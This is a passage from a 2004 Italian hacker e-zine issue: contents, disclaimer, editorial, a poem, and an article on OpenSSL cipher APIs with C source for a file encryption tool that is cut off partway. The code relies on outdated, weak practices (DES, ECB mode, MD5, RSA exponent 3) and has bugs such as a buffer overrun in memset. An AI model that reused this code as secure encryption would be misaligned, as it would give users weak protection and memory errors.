__ ___ __ _ __ ___ __ _
| _/ _ \_ | _ __ __| | __ _| _/ _ \_ |_ _ __ _ __| |_ __ __ _
| | | | | || '_ \ / _` |/ _` | | | | | | | | |/ _` |/ _` | '__/ _` |
| | |_| | || | | | (_| | (_| | | |_| | | |_| | (_| | (_| | | | (_| |
| |\___/| ||_| |_|\__,_|\__,_| |\__\_\ |\__,_|\__,_|\__,_|_| \__,_|
|__| |__| |__| |__|
.:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
.: [O]nda[Q]uadra [OQ20040308 0X0B] ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: http://www.ondaquadra.org ::
:: info@ondaquadra.org - articoli@ondaquadra.org ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
"Tutto nel ciberspazio e' scandito dalla squarewave dei micro-processori
Il clock dei micro e' come un battito cardiaco elettronico..."
.:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
.: [O]nda[Q]uadra [OQ20040308 0X0B] ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: 0x00 [L0GiN] EV0LUZi0NE, MERA EV0LUZi0NE [oq~staff] ::
:: 0x01 [PAGiNAZER0] LA MiA REGiNA [native] ::
:: 0x02 [CRYPT0] OpenSSL/DES,OpenSSL/Blowfish, [binduck] ::
:: OpenSSL/IDEA,OpenSSL/MD5: iMPLEMENTATi0N ::
:: 0x03 [LiNUX] 0PENM0SiX - C0ME iNSTALLARL0 [DaVe & pinkf] ::
:: 0x04 [C0DiNG] FACT0RiNG LARGE iNTEGERS [binduck] ::
:: 0x05 [C0DiNG] GRiLL0 PARLANTE [eazy] ::
:: 0x06 [C0DiNG] RACE C0NDiTi0NS [snagg] ::
:: 0x07 [C0DiNG] EASY ASSEMBLY MiSSi0N - PARTE 1 [spectrum] ::
:: 0x08 [SECURiTY] RiPv2 iNSECURiTiES [mydecay & click] ::
:: 0x09 [TRADUZi0NE] SMASHiNG THE STACK F0R FUN AND PR0FiT [eafkuor] ::
:: 0x0A [SHUTD0WN] PER UN PUGN0 Di RiS0RSE [binduck] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: LEGAL DISCLAIMER ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Nessuna persona dello staff di OndaQuadra si assume responsibilita'
per l'uso improprio dell'utilizzo dei testi e dei programmi presenti
nella e-zine, ne' per danni a terzi derivanti da esso.
OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni
effettuate con la legge 23 dicembre 1993, n. 547 ed in particolare
agli artt. 615-quater- e 615-quinques-.
Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come
avvengono le tecniche di intrusione al fine di far comprendere come
sia possibile difendersi da esse, rendere piu' sicura la propria box e
in generale approfondire le proprie conoscenze in campo informatico.
I programmi allegati sono semplici esempi di programmazione che hanno
il solo scopo di permettere una migliore comprensione di quanto
discusso e spiegato nei testi.
Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001,
n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex
art. 1 e pertanto non inclusa nella previsione dell'art. 5 della legge
8 febbraio 1948, n. 47.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: COSTITUZIONE DELLA REPUBBLICA ITALIANA ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Diritti e doveri dei cittadini: Rapporti civili
Articolo 21
Tutti hanno diritto di manifestare liberamente il proprio pensiero
con la parola, lo scritto e ogni altro mezzo di diffusione. [...]
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x00][L0GiN] EV0LUZi0NE, MERA EV0LUZi0NE [oq~staff] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Prima di tutto una correzione. Nel L0GiN dello scorso numero si poteva
leggere: "[...] Intanto ci sono le minacce provenienti dalle celebri
leggi americane ed europee (DMCA, ECMA) sul copyright digitale; [...]"
I piu' attenti si saranno accorti di un errore. Si cita erroneamente
l'ECMA (associazione che si occupa di standard in ambito di sistemi
ICT) al posto di EUCD (naturalmente), la versione europea del DMCA.
OndaQuadra si evolve; il progetto continua a perseguire il suo fine,
con nuovi stimoli, nuovi progetti, nuovi vaneggi e con la voglia di
sempre: Rendere libera e facilmente accessibile l'Informazione!
Dal fronte evoluzione abbiamo cambiato hosting. A tal proposito
ringraziamo Sensos, ex webmaster ed autore dell'ottima versione
precedente del sito, che per un anno ci ha ospitato gratuitamente.
Grazie!
Molti hanno accolto positivamente il ritorno alla semplicita' per il
sito, apprezzandone la sobrieta' e la leggerezza.
A ribadire il concetto di leggerezza, OndaQuadra dalla scorsa
pubblicazione si propone con un numero limitato di articoli, circa
dieci a numero.
Questa e' una scelta. Apprezzabile da chi non ama la dispersivita',
criticabile agli occhi dei piu' accaniti lettori. Ci auguriamo che sia
comprensibile da parte di tutti!
Il livello tecnico complessivo presumiamo sia superiore al passato.
Cio' non vuol dire affatto che OndaQuadra diventa una rivista
"esclusiva" per i pochi, al contrario cerchiamo di pubblicare
materiale che si distingua il piu' possibile per l'originalita', la
creativita' e la fantasia.
Chiunque avesse idee, intuizioni, visioni non esiti a inviarci i propri
scritti ad articoli@ondaquadra.org.
Dal fronte reperibilita' alcuni frequentatori di cio' che fu il forum
si sono lamentati per la sua scomparsa. Ebbene, le diaboliche menti
che animano OndaQuadra hanno messo a disposizione di tutti una mailing
list . Non esitate ad iscrivervi!
Ci teniamo a ricordarvi che potete mettervi in contatto con lo staff
via e-mail all'indirizzo info@ondaquadra.org o via IRC sul canale
#ondaquadra della rete Azzurra .
Buona lettura,
inquis e trtms per OndaQuadra staff
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x01][PAGiNAZER0] LA MiA REGiNA [native] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
E` qui`.
Davanti i miei occhi, inconsapevole della sua
forma, della sua tempra, della sua potenza.
Mistiche evoluzioni la trasformano, bit dopo bit,
in una nuova creatura, sempre piu` strana,
sempre piu` contorta.
La mia mente e` immersa in pensieri senza senso,
rappresentabili soltanto con il vuoto, un vuoto
purtoppo incolmabile.
E` ancora qui`.
Proiettata nel mio io, raccoglitrice di tutto cio`
che la mia anima lascia cadere nella sua Rete.
Il suo sguardo perso nel nulla, passivo, immobile,
orribile.
Sempre attenta, sempre vigile, ma sempre passiva.
Non sempre rispetta le regole di questa marcia societa`,
ed e` questo che la rende rea di essere, colpevole di esistere.
Eppure e` qui`.
Striscia nelle mie membra senza vie di scampo,
tristemente costretta ad eseguire i comandi di un
vile forestiero.
Perseguitata, obbligata, imprigionata.
Ma e` da cio` che trae la sua inesauribile
energia, il suo insaziabile bisogno di vita.
Continua allora, continua a vivere, continua a
rispondere, ping -> pong, continua a regnare.
Il piu` forte, in un modo o nell'altro, e` sempre
colui che vince, ed e` questo che fa di te, la mia Regina.
native org>
http://www.x-stealth.tk
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x02][CRYPT0] OpenSSL/DES,OpenSSL/Blowfish, [binduck] ::
:: OpenSSL/IDEA,OpenSSL/MD5: iMPLEMENTATi0N ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
0. Intro
1. Descrizione algoritmi
2. Funzioni & headers DES
3. Funzioni & headers Blowfish
4. Funzioni & headers IDEA
5. Funzioni & headers MD5
In questo articolo vedremo come implementare due degli algoritmi
piu' famosi e piu' usati nel campo della crittografia:
DES,Blowfish,IDEA,MD5
1. Descrizione algoritmi
DES[Data Encryption Standard]:
Il DES fu sviluppato dall'IBM nel 1970, divento' standard nel 1976
e fu adottato dal governo statunitense nel 1977 ed e' stato utilizzato
per lungo tempo dal governo e da aziende private.
Il DES e' un block cipher (cifrario a blocchi) che lavora con blocchi
di 64 bits (8 bytes), utilizzando chiavi a 56 bits.
Su ogni blocco vengono effettuate delle permutazioni oltre che 16
cicli di xor e permutazioni.
Nel 1998 e' stata dimostrata la vulnerabilita' di questo algoritmo,
da parte dell' EFF, utilizzando un attacco di tipo brute force.
Per ovviare a questo problema e' stato introdotto il 3DES, che e'
basato su una ripetizione del cifrario DES, utilizzando chiavi a 112
bits.
Blowfish:
Nel 1993 Bruce Schneier sviluupo l'algoritmo conosciuto come Blowfish.
Come il DES opera su blocchi di 64 bits. Blowfish puo' operare con
chiavi fino a 448 bits, anche se tipicamente si utilizzano chiavi
a 128 bits. L'utilizzo di Blowfish presenta molti vantaggi a partire
dalla sua velocita' e compattezza fino ad arrivare alla sicurezza
infatti non si conoscono attacchi efficaci, inoltre e' un algoritmo
non patentato.
IDEA[International Data Encryption Algorithm]:
L'algoritmo IDEA lavora con chiavi a 16 bytes (128 bits), su blocchi
di 64 bits. E' basato su 8 cicli identici seguiti da una trasformazione
dell'output.
MD5[Message Digest 5]
MD5, creato nel 1991 da Ronald Rivest e' una funzione one-way hashing,
cioe' prende un messaggio e ne deriva una stringa di un 16 bytes
chiamata anche message digest.
2. Funzioni & headers DES
#include
Poiche' la password e' 64 bits (anche se poi e' ridotta a 56 bits) e
operiamo su blocchi di 8 bytes, quindi dovremmo operare su blocchi di
64 bits. Quindi dichiariamo che sia la password che i messaggi in
chiaro (plaintext) che quelli cifrati (cipher text) dovranno essere
blocchi di 64 bits; per fare questo introduciamo il tipo des_cblock.
Il tipo dello scheduling della password e' des_key_schedule.
Ora possiamo passare alle funzioni:
/* des_read_pw_string(): scrive la string contenuta in prompt,
leva l'echo sulla stdin e legge la password in input. La password
viene inserita in buf ed e' al massimo lenght caratteri. Se verfify
e' posto a 1 chiede la riconferma della password. */
int des_read_pw_string(char *buf, int lenght, const char *prompt,
int verify);
/* des_string_to_key(): converte la stringa contenuta in str in una
chiave DES a 64 bits */
void des_string_to_key(const char *str, des_cblock *key);
/* des_set_key_checked(): controlla se la chiave passata e' dispari
e imposta loschedule della chiave */
int des_set_key_checked(const_des_cblock *key,
des_key_schedule schedule);
/* des_ecb_encrypt(): e' la routine di cifratura base per il DES
offerta dalla libreria. Cifra/Decifra blocchi di 8 bytes a seconda
che mode sia DES_ENCRYPT o DES_DECRYPT. ks e' il key schedule */
void des_ecb_encrypt(const_des_cblock *input, des_cblock *output,
des_key_schedule ks, int enc);
Per informazioni sulle funzioni non illustrate qui: man des
3. Funzioni & headers Blowfish
#include
Per leggere la password da input usiamo la stessa funzione che
utilizziamo per il DES: des_read_pw_string() [leggete la sez. 2].
La chiave dovra' essere di tipo BF_KEY.
/* BF_set_key(): imposta la chiave (di tipo BF_KEY) usando la stringa
data di lunghezza len */
void BF_set_key(BF_KEY *key, int len, const unsigned char *data);
/* BF_ecb_encrypt(): e' la funzione base per cifrare/decifrare
offerta dalla libreria. Cifra/Decifra blocchi di 8 bytes a seconda
che mode sia BF_ENCRYPT o BF_DECRYPT. */
void BF_ecb_encrypt(const unsigned char *in, unsigned char *out,
BF_KEY *key, int enc);
4. Funzioni & headers IDEA
#include
Lo schedule della chiave deve essere impostato a IDEA_KEY_SCHEDULE.
Ricordo, inoltre, che il ciphertext e il plaintext devono essere
blocchi di 8 bytes.
Per leggere la password da input usiamo la stessa funzione che
utilizziamo per il DES: des_read_pw_string() [leggete la sez. 2].
/* idea_set_encrypt_key(): imposta il key schedule della chiave
per la fase di cifrazione */
void idea_set_encrypt_key(const unsigned char *key,
IDEA_KEY_SCHEDULE *ks);
/* idea_set_decrypt_key(): imposta il key schedule della chiave
per la fase di decifrazione partendo dal key schedule generato
con idea_set_encrypt_key() */
void idea_set_decrypt_key(IDEA_KEY_SCHEDULE *ek,
IDEA_KEY_SCHEDULE *dk);
/* idea_ecb_encrypt(): cifra/decifra [a seconda del key schedule
passatogli] i dati contenuti nel blocco di 8 bytes in e li mette
nel blocco di 8 bytes out. */
void idea_ecb_encrypt(const unsigned char *in, unsigned char *out,
IDEA_KEY_SCHEDULE *ks);
5. Funzioni & headers MD5
#include
Questa libreria include alcune funzioni per l'hashing dei messaggi.
/* MD5(): performa l'hash del messaggio passatogli */
unsigned char *MD5(const unsigned char *d, unsigned long n,
unsigned char *md);
[Se md e' NULL il message digest viene messo in un array statico]
A livello applicativo, invece di usare questa funzione conviene
utilizzare le routines EVP, che lavorano a piu' alto livello.
#include
/* EVP_md5(): ritorna una struttura EVP_MD per l'algoritmo md5 */
EVP_MD *EVP_md5(void);
/* EVP_DigestInit(): inizializza un context CTX per usare un digest
di tipo type*/
void EVP_DigestInit(EVP_MD_CTX *ctx, const EVP_MD *type);
/* EVP_DigestUpdate(): computa l'hash di cnt bytes di d nel CTX */
void EVP_DigestUpdate(EVP_MD_CTX *ctx, const void *d,
unsigned int cnt);
/* EVP_DigestFinal(): mette l'hash contenuto nel context CTX
in md*/
void EVP_DigestFinal(EVP_MD_CTX *ctx, unsigned char *md,
unsigned int *s);
man md5
Ora che abbiamo visto le principali funzioni potete guardarvi
il codice sorgente di UNISFED.
[Il codice contiene anche l'algoritmo di crittografia a chiave pubblica
RSA, descritte nel numero 0A di Ondaquadra]
Da compilarsi [una volta suddivisi i files] in questo modo:
gcc unisfed.c -o unisfed -lssl
-------------------block_ciphers.c-------------------------------------
#include
#include
#include
#define MAXPASSLEN 31
/* DES
* If mode = 1 encrypts *filein file with DES algorithm
* If mode = 0 decrypts *filein file with DES algorithm
* output is written in *fileout file
* Returns 1 if the function runs successfully
* Works on 8 bytes blocks
*
*/
void des_encrypt_decrypt(int mode, char *filein, char *fileout)
{
FILE *fpin,*fpout;
char buf[MAXPASSLEN];
des_cblock key,inmsg,outmsg; /* key, plaintext, ciphertext must
be 8 byte blocks */
des_key_schedule sched;
if (strcmp(filein,fileout) == 0) {
fprintf(stderr,"Error: input and output files must not \
be the same file.\n");
exit(EXIT_FAILURE);
}
/* des_read_pw_string reads password from stdin and stores it
in buf this function automatically asks to re-enter password
and checks it */
memset(buf,'\0',MAXPASSLEN);
if (mode == 1) {
printf("Encrypting file '%s' with des cipher.\n", \
filein);
if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \
password:\n",1) != 0) {
fprintf(stderr,"Error: failed to read \
password.\n");
exit(EXIT_FAILURE);
}
} else {
printf("Decrypting file '%s' with des cipher.\n",\
filein);
if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \
password:\n",0) != 0) {
fprintf(stderr,"Error: failed to read \
password.\n");
exit(EXIT_FAILURE);
}
}
/* des_string to key convers the password to a key */
des_string_to_key(buf,&key);
/* des_set_key_checked checks that a key passed in of odd
parity and set up the key schedule */
des_set_key_checked(&key,sched);
fpin = fopen(filein,"r");
if ((fpout = fopen(fileout,"w")) == NULL) {
fprintf(stderr,"Error: failed to open output file.\n");
exit(EXIT_FAILURE);
}
/* reads 8 bytes at a time(block=8bytes),encrypts/decrypts
each block with ecb */
while (fread(inmsg,1,8,fpin)) {
memset(outmsg,'\0',8);
des_ecb_encrypt(&inmsg,&outmsg,sched,mode);
fwrite(outmsg,1,8,fpout);
memset(inmsg,'\0',8);
}
fclose(fpin);
fclose(fpout);
printf("Done.\n");
return;
}
/* Blowfish
* If mode = 1 encrypts *filein file with Blowfish algorithm
* If mode = 0 decrypts *filein file with Blowfish algorithm
* output is written in *fileout file
* Returns 1 if the function runs successfully
* Works on 8 bytes blocks
*
*/
void bf_encrypt_decrypt(int mode, char *filein, char *fileout)
{
FILE *fpin,*fpout;
char buf[MAXPASSLEN];
unsigned char inmsg[8],outmsg[8]; /* blowfish operates on 8
byte blocks */
BF_KEY key;
if (strcmp(filein,fileout) == 0) {
fprintf(stderr,"Error: input and output files must \
not be the same file.\n");
exit(EXIT_FAILURE);
}
/* reads password from stdin using the same function used
for des passwords */
memset(buf,'\0',MAXPASSLEN);
if (mode == 1) {
printf("Encrypting file '%s' with BlowFish cipher.\n",\
filein);
if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \
password:\n",1) != 0) {
fprintf(stderr,"Error: failed to read \
password.\n");
exit(EXIT_FAILURE);
}
} else {
printf("Decrypting file '%s' with BlowFish cipher.\n",\
filein);
if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \
password:\n",0) != 0) {
fprintf(stderr,"Error: failed to read \
password.\n");
exit(EXIT_FAILURE);
}
}
/* set up the key using password stored in buf from
des_read_pw_string */
BF_set_key(&key,strlen(buf),buf);
fpin = fopen(filein,"r");
if ((fpout = fopen(fileout,"w")) == NULL) {
fprintf(stderr,"Error: failed to open output file.\n");
exit(EXIT_FAILURE);
}
/* reads 8 bytes at a time(block=8bytes),encrypts/decrypts each
block with ecb */
while (fread(inmsg,1,8,fpin)) {
memset(outmsg,'\0',8);
BF_ecb_encrypt(inmsg,outmsg,&key,mode);
fwrite(outmsg,1,8,fpout);
memset(inmsg,'\0',8);
}
fclose(fpin);
fclose(fpout);
printf("Done.\n");
return;
}
/* IDEA
* If mode = 1 encrypts *filein file with IDEA algorithm
* If mode = 0 decrypts *filein file with IDEA algorithm
* output is written in *fileout file
* Returns 1 if the function runs successfully
* Works on 8 bytes blocks
*
*/
void idea_encrypt_decrypt(int mode, char *filein, char *fileout)
{
FILE *fpin,*fpout;
char buf[MAXPASSLEN];
unsigned char inmsg[8],outmsg[8]; /* idea operates on 8
byte blocks */
IDEA_KEY_SCHEDULE sched,dc_sched;
if (strcmp(filein,fileout) == 0) {
fprintf(stderr,"Error: input and output files must not\
be the same file.\n");
exit(EXIT_FAILURE);
}
/* reads password from stdin using the same function used for
des passwords */
memset(buf,'\0',MAXPASSLEN);
if (mode == 1) {
printf("Encrypting file '%s' with IDEA cipher.\n",\
filein);
if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \
password:\n",1) != 0) {
fprintf(stderr,"Error: failed to read \
password.\n");
exit(EXIT_FAILURE);
}
} else {
printf("Decrypting file '%s' with IDEA cipher.\n",\
filein);
if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \
password:\n",0) != 0) {
fprintf(stderr,"Error: failed to read \
password.\n");
exit(EXIT_FAILURE);
}
}
/* set up the key schedule for encryption */
idea_set_encrypt_key(buf,&sched);
/* setting up the key schedule for decryption in mode == 0 */
if (mode == 0) {
idea_set_decrypt_key(&sched,&dc_sched);
sched = dc_sched;
}
fpin = fopen(filein,"r");
if ((fpout = fopen(fileout,"w")) == NULL) {
fprintf(stderr,"Error: failed to open output file.\n");
exit(EXIT_FAILURE);
}
/* reads 8 bytes at a time(block=8bytes),encrypts/decrypts each\
block with ecb */
while (fread(inmsg,1,8,fpin)) {
memset(outmsg,'\0',8);
idea_ecb_encrypt(inmsg,outmsg,&sched);
fwrite(outmsg,1,8,fpout);
memset(inmsg,'\0',8);
}
fclose(fpin);
fclose(fpout);
printf("Done.\n");
return;
}
-------------------end block_ciphers.c---------------------------------
-------------------hash.c----------------------------------------------
#include
#include
void make_hex(u_char *in, u_char *out)
{
const char *hex = "0123456789abcdef";
int i;
for(i = 0; i < 16; i++, in++) {
*out++ = hex[*in >> 4];
*out++ = hex[*in & 0xf];
}
*out = 0x00;
return;
}
/* MD5
* Hashing algorithm
* md5hash() performs the hash of a given file.
*/
void md5hash(char *filein)
{
FILE *fp = NULL;
unsigned int tmpsize=0,linesize=0;
char *hashbuf = NULL;
unsigned char *hash = NULL;
EVP_MD_CTX ctx;
printf("MD5 hash of '%s' file is:\n",filein);
EVP_DigestInit(&ctx,EVP_md5()); /* initializes digest context*/
fp = fopen(filein,"r");
while ((linesize = getline(&hashbuf,&tmpsize,fp)) != -1) {
EVP_DigestUpdate(&ctx,hashbuf,linesize); /* hashes
linesize bytes of data at hashbuf */
linesize = 0;
}
fclose(fp);
hash = (unsigned char *)malloc(16);
EVP_DigestFinal(&ctx,(unsigned char *)hash,NULL); /* retrieves
the digest value */
make_hex(hash, hashbuf);
printf("%s\n",hashbuf);
free(hashbuf);
free(hash);
return;
}
/* MD5
* Hashing algorithm
* md5cmp() compares the hash of two given files.
*/
void md5cmp(char *file1, char *file2)
{
FILE *fp = NULL;
unsigned int tmpsize=0,linesize=0;
char *hashbuf = NULL;
unsigned char *hash1 = NULL, *hash2 = NULL;
EVP_MD_CTX ctx;
printf("Comparing MD5 hashes of '%s' and '%s' files.\n",\
file1,file2);
EVP_DigestInit(&ctx,EVP_md5());
fp = fopen(file1,"r");
while ((linesize = getline(&hashbuf,&tmpsize,fp)) != -1) {
EVP_DigestUpdate(&ctx,hashbuf,linesize);
linesize = 0;
}
fclose(fp);
hash1 = (unsigned char *)malloc(16);
EVP_DigestFinal(&ctx,(unsigned char *)hash1,NULL);
EVP_DigestInit(&ctx,EVP_md5()); /* initializes the digest
context */
linesize = 0;
tmpsize = 0;
fp = fopen(file2, "r");
while ((linesize = getline(&hashbuf,&tmpsize,fp)) != -1) {
EVP_DigestUpdate(&ctx,hashbuf,linesize); /* hashes
linesize bytes of data at hashbuf */
linesize = 0;
}
fclose(fp);
hash2 = (unsigned char *)malloc(16);
EVP_DigestFinal(&ctx,(unsigned char *)hash2,NULL); /* retrieves
the digest value */
if (strcmp(hash1,hash2) == 0)
printf("MD5 hashes match.\n");
else
printf("MD5 hashes don't match.\n");
free(hash1);
free(hash2);
free(hashbuf);
return;
}
-------------------end hash.c------------------------------------------
-------------------misc.c----------------------------------------------
void help(char *name)
{
printf("UniSFED [Simple File Encrypter/Decrypter] v%s\n",\
VERSION);
printf("Coded by Paolo Ardoino \n");
printf("Usage:\n");
printf("%s -h\t:displays this help\n",name);
printf("%s -fh \t:performs the MD5 hash of \
file_to_hash.\n",name);
printf("%s -fc \t:compares the \
MD5 hash of the two files.\n",name);
printf("%s -e <-idea|-des|-bf|-rsa> \
[rsa_pub.pem]]\t:encrypts file_to_crypt with \
choosen cipher.\n",name);
printf("%s -d <-idea|-des|-bf|-rsa> \
[rsa_sec.pem]\t:decrypts file_to_decrypt with \
choosen cipher.\n",name);
printf("%s -grsa \t:generates a \
RSA key pair.\n", name);
printf("-idea: idea block cipher.\n");
printf(" -des: des block cipher.\n");
printf(" -bf: blowfish block cipher.\n");
printf("Ex: %s -e -bf passwords.txt crypto_pass.txt\n",name);
printf("Ex: %s -d -bf crypto_pass.txt pass_file.txt\n",name);
printf("Ex: %s -fc file1 file2\n",name);
printf("\nPlease report bugs to \n");
return;
}
/*
* fexists() checks for the existence of a given file.
* return 0 if the file doesn't exist and 1 if it exists.
*/
int fexists(char *file)
{
FILE *fp;
if ((fp = fopen(file,"r")) == NULL) {
return 0;
} else {
fclose(fp);
return 1;
}
}
-------------------end misc.c------------------------------------------
-------------------rsa.c-----------------------------------------------
#include
#include
#include
#define READPUB 0
#define READSEC 1
void rsa_ed(int mode, char *fin, char *fout, char *pemfile)
{
int size=0,len=0,ks=0;
RSA *key=NULL;
FILE *fpin=NULL, *fpout=NULL;
unsigned char *cipher=NULL,*plain=NULL;
if (strcmp(fin, fout) == 0) {
fprintf(stderr,"Error: input and output files must not\
be the same file.\n");
exit(EXIT_FAILURE);
}
if (mode == 0) {
fpin = fopen(fin, "r");
key = (RSA *)readpemkeys(READPUB, pemfile);
fpout = fopen(fout, "w");
ks = RSA_size(key);
plain = (unsigned char *)malloc(ks * \
sizeof(unsigned char));
cipher = (unsigned char*)malloc(ks * \
sizeof(unsigned char));
printf("Encrypting '%s' file.\n", fin);
while(!feof(fpin)) {
memset(plain,'\0',ks + 1);
memset(cipher, '\0', ks + 1);
len = fread(plain, 1, ks - 11, fpin);
size = rsa_encrypt(key, plain, len, &cipher);
fwrite(cipher, 1, size, fpout);
}
fclose(fpout);
fclose(fpin);
free(cipher);
free(plain);
RSA_free(key);
printf("Done.\n");
} else if (mode == 1) {
fpin = fopen(fin, "r");
key = (RSA *)readpemkeys(READSEC, pemfile);
fpout = fopen(fout, "w");
ks = RSA_size(key);
cipher = (unsigned char*)malloc(ks * \
sizeof(unsigned char));
plain = (unsigned char*)malloc(ks * \
sizeof(unsigned char));
printf("Decrypting '%s' file.\n", fin);
while(!feof(fpin)) {
memset(cipher, '\0', ks);
memset(plain, '\0', ks);
if ((len = fread(cipher, 1, ks, fpin)) == 0)
break;
size = rsa_decrypt(key, cipher, len, &plain);
fwrite(plain, 1, size, fpout);
}
fclose(fpout);
fclose(fpin);
free(plain);
free(cipher);
RSA_free(key);
printf("Done.\n");
}
return;
}
void genkey(int size, char *secfile, char *pubfile)
{
RSA *key=NULL;
FILE *fp;
printf("Generating RSA keys[%d bits].\n", size);
if (size < 64) {
fprintf(stderr, "Error: RSA Key pair size too small.\n");
fprintf(stderr, "size >= 64\n");
exit(EXIT_FAILURE);
}
if((key = RSA_generate_key(size,3,NULL,NULL)) == NULL) {
fprintf(stderr,"%s\n",ERR_error_string(ERR_get_error(),NULL));
exit(EXIT_FAILURE);
}
if(RSA_check_key(key) < 1) {
fprintf(stderr,"Error: Problems while generating RSA Key.\n \
Retry.\n");
exit(EXIT_FAILURE);
}
fp=fopen(secfile,"w");
if(PEM_write_RSAPrivateKey(fp,key,NULL,NULL,0,0,NULL) == 0) {
fprintf(stderr,"Error: problems while writing RSA Private \
Key.\n");
exit(EXIT_FAILURE);
}
fclose(fp);
fp=fopen(pubfile,"w");
if(PEM_write_RSAPublicKey(fp,key) == 0) {
fprintf(stderr,"Error: problems while writing RSA Public Key.\n");
exit(EXIT_FAILURE);
}
fclose(fp);
RSA_free(key);
printf("Done.\n");
return;
}
void* readpemkeys(int type, char *pemfile)
{
FILE *fp;
RSA *key=NULL;
if(type == READPUB) {
if((fp = fopen(pemfile,"r")) == NULL) {
fprintf(stderr,"Error: Public Key file doesn't exists.\n");
exit(EXIT_FAILURE);
}
if((key = PEM_read_RSAPublicKey(fp,NULL,NULL,NULL)) == NULL) {
fprintf(stderr,"Error: problems while reading Public Key.\n");
exit(EXIT_FAILURE);
}
fclose(fp);
return key;
}
if(type == READSEC) {
if((fp = fopen(pemfile,"r")) == NULL) {
fprintf(stderr,"Error: Private Key file doesn't exists.\n");
exit(EXIT_FAILURE);
}
if((key = PEM_read_RSAPrivateKey(fp,NULL,NULL,NULL)) == NULL) {
fprintf(stderr,"Error: problmes while reading Private Key.\n");
exit(EXIT_FAILURE);
}
fclose(fp);
if(RSA_check_key(key) == -1) {
fprintf(stderr,"Error: Problems while reading RSA Private Key in \
'%s' file.\n",pemfile);
exit(EXIT_FAILURE);
} else if(RSA_check_key(key) == 0) {
fprintf(stderr,"Error: Bad RSA Private Key readed in '%s' \
file.\n",pemfile);
exit(EXIT_FAILURE);
}
else
return key;
}
return key;
}
int rsa_encrypt(void *key, unsigned char *plain, int len, \
unsigned char **cipher)
{
int clen=0;
srand(time(NULL));
if((clen = RSA_public_encrypt(len, plain, *cipher, (RSA*)key, \
RSA_PKCS1_PADDING)) == -1) {
fprintf(stderr, "%s\n", ERR_error_string(ERR_get_error(), NULL));
exit(EXIT_FAILURE);
} else
return clen;
}
int rsa_decrypt(void *key, unsigned char *cipher, int len, \
unsigned char **plain)
{
int plen=0;
if((plen = RSA_private_decrypt(len, cipher, *plain, (RSA*)key, \
RSA_PKCS1_PADDING)) == -1) {
fprintf(stderr, "%s\n", ERR_error_string(ERR_get_error(), NULL));
exit(EXIT_FAILURE);
} else
return plen;
}
-------------------end rsa.c-------------------------------------------
-------------------unisfed.c-------------------------------------------
#include "unisfed.h"
int main(int argc, char *argv[])
{
if (argc == 1 || strcmp(argv[1],"-h") == 0 || \
((strcmp(argv[1],"-e") != 0 && strcmp(argv[1],"-d") != 0 && \
strcmp(argv[1],"-fh") != 0 && strcmp(argv[1],"-fc") != 0 && \
strcmp(argv[1], "-grsa") != 0)))
help(argv[0]);
else if (strcmp(argv[1],"-d") == 0 && (argc == 5 || argc == 6) \
&& (strcmp(argv[2],"-idea") == 0 ||strcmp(argv[2],"-des") == 0 \
|| strcmp(argv[2],"-bf") == 0||strcmp(argv[2], "-rsa") == 0)){ \
if (strcmp(argv[2],"-idea") == 0) {
if (fexists(argv[3]) == 1)
idea_encrypt_decrypt(0,argv[3],argv[4]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else if (strcmp(argv[2],"-des") == 0) {
if (fexists(argv[3]) == 1)
des_encrypt_decrypt(0,argv[3],argv[4]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else if (strcmp(argv[2],"-bf") == 0) {
if (fexists(argv[3]) == 1)
bf_encrypt_decrypt(0,argv[3],argv[4]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else if (strcmp(argv[2],"-rsa") == 0) {
if (fexists(argv[3]) == 1)
rsa_ed(1, argv[3], argv[4], argv[5]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else;
} else if (strcmp(argv[1],"-e") == 0 && \
(argc == 5 || argc == 6) && (strcmp(argv[2],"-idea") == 0 || \
strcmp(argv[2],"-des") == 0 || strcmp(argv[2],"-bf") == 0 || \
strcmp(argv[2], "-rsa") == 0)) {
if (strcmp(argv[2],"-idea") == 0) {
if (fexists(argv[3]) == 1)
idea_encrypt_decrypt(1,argv[3], \
argv[4]);
